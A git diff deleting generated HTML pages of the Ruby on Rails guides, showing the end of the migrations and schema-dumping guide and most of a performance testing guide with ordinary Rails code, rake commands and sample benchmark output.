-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- <span style="color: #990000">...</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- <span style="color: #990000">...</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.</p></div>
-<h3 id="_dealing_with_changing_models">5.1. Dealing with changing models</h3>
-<div class="paragraph"><p>For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the <tt>reset_column_information</tt> method, for example</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- add_column <span style="color: #990000">:</span>product<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
- Product<span style="color: #990000">.</span>reset_column_information
- <span style="color: #990000">...</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- <span style="color: #990000">...</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_schema_dumping_and_you">6. Schema dumping and you</h2>
-<div class="sectionbody">
-<h3 id="schema">6.1. What are schema files for?</h3>
-<div class="paragraph"><p>Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either <tt>schema.rb</tt> or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.</p></div>
-<div class="paragraph"><p>There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.</p></div>
-<div class="paragraph"><p>For example, this is how the test database is created: the current development database is dumped (either to <tt>schema.rb</tt> or <tt>development.sql</tt>) and then loaded into the test database.</p></div>
-<div class="paragraph"><p>Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model&#8217;s code and is frequently spread across several migrations but is all summed up in the schema file. The <a href="http://agilewebdevelopment.com/plugins/annotate_models">annotate_models</a> plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.</p></div>
-<h3 id="_types_of_schema_dumps">6.2. Types of schema dumps</h3>
-<div class="paragraph"><p>There are two ways to dump the schema. This is set in <tt>config/environment.rb</tt> by the <tt>config.active_record.schema_format</tt> setting, which may be either <tt>:sql</tt> or <tt>:ruby</tt>.</p></div>
-<div class="paragraph"><p>If <tt>:ruby</tt> is selected then the schema is stored in <tt>db/schema.rb</tt>. If you look at this file you&#8217;ll find that it looks an awful lot like one very big migration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActiveRecord<span style="color: #990000">::</span>Schema<span style="color: #990000">.</span>define<span style="color: #990000">(:</span>version <span style="color: #990000">=&gt;</span> <span style="color: #993399">20080906171750</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- create_table <span style="color: #FF0000">"authors"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #FF0000">"name"</span>
- t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"created_at"</span>
- t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"updated_at"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- create_table <span style="color: #FF0000">"products"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #FF0000">"name"</span>
- t<span style="color: #990000">.</span>text <span style="color: #FF0000">"description"</span>
- t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"created_at"</span>
- t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"updated_at"</span>
- t<span style="color: #990000">.</span>string <span style="color: #FF0000">"part_number"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using <tt>create_table</tt>, <tt>add_index</tt> and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.</p></div>
-<div class="paragraph"><p>There is however a trade-off: <tt>schema.rb</tt> cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to <tt>:sql</tt>.</p></div>
-<div class="paragraph"><p>Instead of using Active Record&#8217;s schema dumper the database&#8217;s structure will be dumped using a tool specific to that database (via the <tt>db:structure:dump</tt> Rake task) into <tt>db/#{RAILS_ENV}_structure.sql</tt>. For example for PostgreSQL the <tt>pg_dump</tt> utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.</p></div>
-<div class="paragraph"><p>By definition this will be a perfect copy of the database&#8217;s structure but this will usually prevent loading the schema into a database other than the one used to create it.</p></div>
-<h3 id="_schema_dumps_and_source_control">6.3. Schema dumps and source control</h3>
-<div class="paragraph"><p>Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.</p></div>
-</div>
-<h2 id="foreign_key">7. Active Record and Referential Integrity</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.</p></div>
-<div class="paragraph"><p>Validations such as <tt>validates_uniqueness_of</tt> are one way in which models can enforce data integrity. The <tt>:dependent</tt> option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.</p></div>
-<div class="paragraph"><p>Although Active Record does not provide any tools for working directly with such features, the <tt>execute</tt> method can be used to execute arbitrary SQL. There are also a number of plugins such as <a href="http://agilewebdevelopment.com/plugins/search?search=redhillonrails">redhillonrails</a> which add foreign key support to Active Record (including support for dumping foreign keys in <tt>schema.rb</tt>).</p></div>
-</div>
-<h2 id="_changelog">8. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6">Lighthouse ticket</a></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-September 14, 2008: initial version by <a href="../authors.html#fcheung">Frederick Cheung</a>
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/performance_testing.html b/railties/doc/guides/html/performance_testing.html
deleted file mode 100644
index 858076008d..0000000000
--- a/railties/doc/guides/html/performance_testing.html
+++ /dev/null
@@ -1,728 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Performance Testing Rails Applications</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_performance_test_cases">Performance Test Cases</a>
- <ul>
-
- <li><a href="#_generating_performance_tests">Generating performance tests</a></li>
-
- <li><a href="#_examples">Examples</a></li>
-
- <li><a href="#_modes">Modes</a></li>
-
- <li><a href="#_metrics">Metrics</a></li>
-
- <li><a href="#_understanding_the_output">Understanding the output</a></li>
-
- <li><a href="#_tuning_test_runs">Tuning Test Runs</a></li>
-
- <li><a href="#_performance_test_environment">Performance Test Environment</a></li>
-
- <li><a href="#gc">Installing GC-Patched Ruby</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_command_line_tools">Command Line Tools</a>
- <ul>
-
- <li><a href="#_benchmarker">benchmarker</a></li>
-
- <li><a href="#_profiler">profiler</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_helper_methods">Helper methods</a>
- <ul>
-
- <li><a href="#_model">Model</a></li>
-
- <li><a href="#_controller">Controller</a></li>
-
- <li><a href="#_view">View</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_request_logging">Request Logging</a>
- </li>
- <li>
- <a href="#_useful_links">Useful Links</a>
- <ul>
-
- <li><a href="#_rails_plugins_and_gems">Rails Plugins and Gems</a></li>
-
- <li><a href="#_generic_tools">Generic Tools</a></li>
-
- <li><a href="#_tutorials_and_documentation">Tutorials and Documentation</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_commercial_products">Commercial Products</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Performance Testing Rails Applications</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Understand the various types of benchmarking and profiling metrics
-</p>
-</li>
-<li>
-<p>
-Generate performance and benchmarking tests
-</p>
-</li>
-<li>
-<p>
-Use a GC-patched Ruby binary to measure memory usage and object allocation
-</p>
-</li>
-<li>
-<p>
-Understand the benchmarking information provided by Rails inside the log files
-</p>
-</li>
-<li>
-<p>
-Learn about various tools facilitating benchmarking and profiling
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>Performance testing is an integral part of the development cycle. It is very important that you don&#8217;t make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application.</p></div>
-</div>
-</div>
-<h2 id="_performance_test_cases">1. Performance Test Cases</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application&#8217;s memory or speed problems are coming from, and get a more in-depth picture of those problems.</p></div>
-<div class="paragraph"><p>In a freshly generated Rails application, <tt>test/performance/browsing_test.rb</tt> contains an example of a performance test:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># Profiling results for each test method are written to tmp/performance.</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> BrowsingTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
- get <span style="color: #FF0000">'/'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This example is a simple performance test case for profiling a GET request to the application&#8217;s homepage.</p></div>
-<h3 id="_generating_performance_tests">1.1. Generating performance tests</h3>
-<div class="paragraph"><p>Rails provides a generator called <tt>performance_test</tt> for creating new performance tests:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>script/generate performance_test homepage</tt></pre></div></div>
-<div class="paragraph"><p>This generates <tt>homepage_test.rb</tt> in the <tt>test/performance</tt> directory:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> HomepageTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
- <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
- get <span style="color: #FF0000">'/'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_examples">1.2. Examples</h3>
-<div class="paragraph"><p>Let&#8217;s assume your application has the following controller and model:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># routes.rb</span></span>
-map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'home'</span>
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>posts
-
-<span style="font-style: italic"><span style="color: #9A1900"># home_controller.rb</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> HomeController <span style="color: #990000">&lt;</span> ApplicationController
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> dashboard
- <span style="color: #009900">@users</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>last_ten<span style="color: #990000">(:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>avatars<span style="color: #990000">)</span>
- <span style="color: #009900">@posts</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>all_today
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># posts_controller.rb</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>create<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
- redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># post.rb</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- before_save <span style="color: #990000">:</span>recalculate_costly_stats
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> slow_method
- <span style="font-style: italic"><span style="color: #9A1900"># I fire gallzilion queries sleeping all around</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- private
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> recalculate_costly_stats
- <span style="font-style: italic"><span style="color: #9A1900"># CPU heavy calculations</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h4 id="_controller_example">1.2.1. Controller Example</h4>
-<div class="paragraph"><p>Because performance tests are a special kind of integration test, you can use the <tt>get</tt> and <tt>post</tt> methods in them.</p></div>
-<div class="paragraph"><p>Here&#8217;s the performance test for <tt>HomeController#dashboard</tt> and <tt>PostsController#create</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostPerformanceTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
- <span style="font-style: italic"><span style="color: #9A1900"># Application requires logged-in user</span></span>
- login_as<span style="color: #990000">(:</span>lifo<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
- get <span style="color: #FF0000">'/dashboard'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_creating_new_post
- post <span style="color: #FF0000">'/posts'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>body <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'lifo is fooling you'</span> <span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You can find more details about the <tt>get</tt> and <tt>post</tt> methods in the <a href="../testing_rails_applications.html#mgunderloy">Testing Rails Applications</a> guide.</p></div>
-<h4 id="_model_example">1.2.2. Model Example</h4>
-<div class="paragraph"><p>Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code.</p></div>
-<div class="paragraph"><p>Performance test for <tt>Post</tt> model:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostModelTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_creation
- Post<span style="color: #990000">.</span>create <span style="color: #990000">:</span>body <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'still fooling you'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>cost <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'100'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_slow_method
- <span style="font-style: italic"><span style="color: #9A1900"># Using posts(:awesome) fixture</span></span>
- posts<span style="color: #990000">(:</span>awesome<span style="color: #990000">).</span>slow_method
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_modes">1.3. Modes</h3>
-<div class="paragraph"><p>Performance tests can be run in two modes : Benchmarking and Profiling.</p></div>
-<h4 id="_benchmarking">1.3.1. Benchmarking</h4>
-<div class="paragraph"><p>Benchmarking helps find out how fast each performance test runs. Each test case is run <tt>4 times</tt> in benchmarking mode.</p></div>
-<div class="paragraph"><p>To run performance tests in benchmarking mode:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rake <span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">:</span>benchmark</tt></pre></div></div>
-<h4 id="_profiling">1.3.2. Profiling</h4>
-<div class="paragraph"><p>Profiling helps you see the details of a performance test and provide an in-depth picture of the slow and memory hungry parts. Each test case is run <tt>1 time</tt> in profiling mode.</p></div>
-<div class="paragraph"><p>To run performance tests in profiling mode:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rake <span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">:</span>profile</tt></pre></div></div>
-<h3 id="_metrics">1.4. Metrics</h3>
-<div class="paragraph"><p>Benchmarking and profiling run performance tests in various modes described below.</p></div>
-<h4 id="_wall_time">1.4.1. Wall Time</h4>
-<div class="paragraph"><p>Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system.</p></div>
-<div class="paragraph"><p>Mode : Benchmarking</p></div>
-<h4 id="_process_time">1.4.2. Process Time</h4>
-<div class="paragraph"><p>Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load.</p></div>
-<div class="paragraph"><p>Mode : Profiling</p></div>
-<h4 id="_memory">1.4.3. Memory</h4>
-<div class="paragraph"><p>Memory measures the amount of memory used for the performance test case.</p></div>
-<div class="paragraph"><p>Mode : Benchmarking, Profiling [<a href="#gc">Requires GC-Patched Ruby</a>]</p></div>
-<h4 id="_objects">1.4.4. Objects</h4>
-<div class="paragraph"><p>Objects measures the number of objects allocated for the performance test case.</p></div>
-<div class="paragraph"><p>Mode : Benchmarking, Profiling [<a href="#gc">Requires GC-Patched Ruby</a>]</p></div>
-<h4 id="_gc_runs">1.4.5. GC Runs</h4>
-<div class="paragraph"><p>GC Runs measures the number of times GC was invoked for the performance test case.</p></div>
-<div class="paragraph"><p>Mode : Benchmarking [<a href="#gc">Requires GC-Patched Ruby</a>]</p></div>
-<h4 id="_gc_time">1.4.6. GC Time</h4>
-<div class="paragraph"><p>GC Time measures the amount of time spent in GC for the performance test case.</p></div>
-<div class="paragraph"><p>Mode : Benchmarking [<a href="#gc">Requires GC-Patched Ruby</a>]</p></div>
-<h3 id="_understanding_the_output">1.5. Understanding the output</h3>
-<div class="paragraph"><p>Performance tests generate different outputs inside <tt>tmp/performance</tt> directory depending on their mode and metric.</p></div>
-<h4 id="_benchmarking_2">1.5.1. Benchmarking</h4>
-<div class="paragraph"><p>In benchmarking mode, performance tests generate two types of outputs :</p></div>
-<h5 id="_command_line">Command line</h5>
-<div class="paragraph"><p>This is the primary form of output in benchmarking mode. Example :</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>BrowsingTest<span style="font-style: italic"><span style="color: #9A1900">#test_homepage (31 ms warmup)</span></span>
- wall_time<span style="color: #990000">:</span> <span style="color: #993399">6</span> ms
- memory<span style="color: #990000">:</span> <span style="color: #993399">437.27</span> KB
- objects<span style="color: #990000">:</span> <span style="color: #993399">5514</span>
- gc_runs<span style="color: #990000">:</span> <span style="color: #993399">0</span>
- gc_time<span style="color: #990000">:</span> <span style="color: #993399">19</span> ms</tt></pre></div></div>
-<h5 id="_csv_files">CSV files</h5>
-<div class="paragraph"><p>Performance test results are also appended to <tt>.csv</tt> files inside <tt>tmp/performance</tt>. For example, running the default <tt>BrowsingTest#test_homepage</tt> will generate following five files :</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-BrowsingTest#test_homepage_gc_runs.csv
-</p>
-</li>
-<li>
-<p>
-BrowsingTest#test_homepage_gc_time.csv
-</p>
-</li>
-<li>
-<p>
-BrowsingTest#test_homepage_memory.csv
-</p>
-</li>
-<li>
-<p>
-BrowsingTest#test_homepage_objects.csv
-</p>
-</li>
-<li>
-<p>
-BrowsingTest#test_homepage_wall_time.csv
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes.</p></div>
-<div class="paragraph"><p>Sample output of <tt>BrowsingTest#test_homepage_wall_time.csv</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>measurement<span style="color: #990000">,</span>created_at<span style="color: #990000">,</span>app<span style="color: #990000">,</span>rails<span style="color: #990000">,</span>ruby<span style="color: #990000">,</span>platform
-<span style="color: #993399">0.00738224999999992</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T03<span style="color: #990000">:</span><span style="color: #993399">40</span><span style="color: #990000">:</span>29Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.110</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.0</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
-<span style="color: #993399">0.00755874999999984</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T03<span style="color: #990000">:</span><span style="color: #993399">46</span><span style="color: #990000">:</span>18Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.110</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.0</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
-<span style="color: #993399">0.00762099999999993</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T03<span style="color: #990000">:</span><span style="color: #993399">49</span><span style="color: #990000">:</span>25Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.110</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.0</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
